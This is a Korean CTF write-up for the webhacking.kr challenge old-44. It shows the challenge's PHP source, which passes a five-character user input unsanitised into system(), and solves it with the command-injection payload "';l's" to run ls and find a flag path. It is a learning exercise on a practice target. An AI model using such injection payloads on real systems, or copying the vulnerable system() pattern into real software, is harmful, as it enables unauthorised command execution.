> For the complete documentation index, see [llms.txt](https://donghyunlee.gitbook.io/write-up/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://donghyunlee.gitbook.io/write-up/wargame/webhacking.kr/old-44-500.md).

# old-44 (500)

첫 화면이다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M228RVYK6kwDYe9zwcW%2F-M228bVKUan9ipNeQvFA%2Fimage.png?alt=media\&token=2d04ccb9-5a99-4074-baf7-fd0d44a3e547)

view-source를 클릭해 본 소스는 아래와 같다.

```php
<?php
  if($_GET['view_source']){ highlight_file(__FILE__); exit; }
?><html>
<head>
<title>Challenge 44</title>
</head>
<body>
<?php
  if($_POST['id']){
    $id = $_POST['id'];
    $id = substr($id,0,5);
    system("echo 'hello! {$id}'"); // You just need to execute ls
  }
?>
<center>
<form method=post action=index.php name=htmlfrm>
name : <input name=id type=text maxlength=5><input type=submit value='submit'>
</form>
<a href=./?view_source=1>view-source</a>
</center>
</body>
</html>
```

폼에 `';l's` 를 넣고 제출하니 아래와 같은 창이 뜬다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M22BByASU1Y7ao0tBzX%2F-M22BDZ3RyvcZIjIq5JG%2Fimage.png?alt=media\&token=44d99bea-6703-4a89-ba69-adfb8e209dc8)

아래와 같이 `ls` 와 `l's'` 는 같은 역할을 수행하므로 가능한 것이다.

```bash
/
❯ ls
Applications Users        cores        home         sbin         var
Library      Volumes      dev          opt          tmp
System       bin          etc          private      usr

/
❯ l's'
Applications	Volumes		etc		sbin
Library		bin		home		tmp
System		cores		opt		usr
Users		dev		private		var
```

<http://webhacking.kr:10005/flag_29cbb98dafb4e471117fec409148e9386753569e> 에 접속하면 플래그가 나온다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M22BpRgCAr2B7wpePz4%2F-M22BqRL8rtC5tbgkDE3%2Fimage.png?alt=media\&token=b26fa140-167f-461c-94f3-af44373a787f)

Auth 창에 플래그를 넣고 제출하면 문제가 풀린다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M22Bw_tjGspfFfHeo5L%2F-M22C9mVSWpPG5zijuTO%2Fimage.png?alt=media\&token=5179bbcd-e5ff-4c72-8fa3-7746d4882278)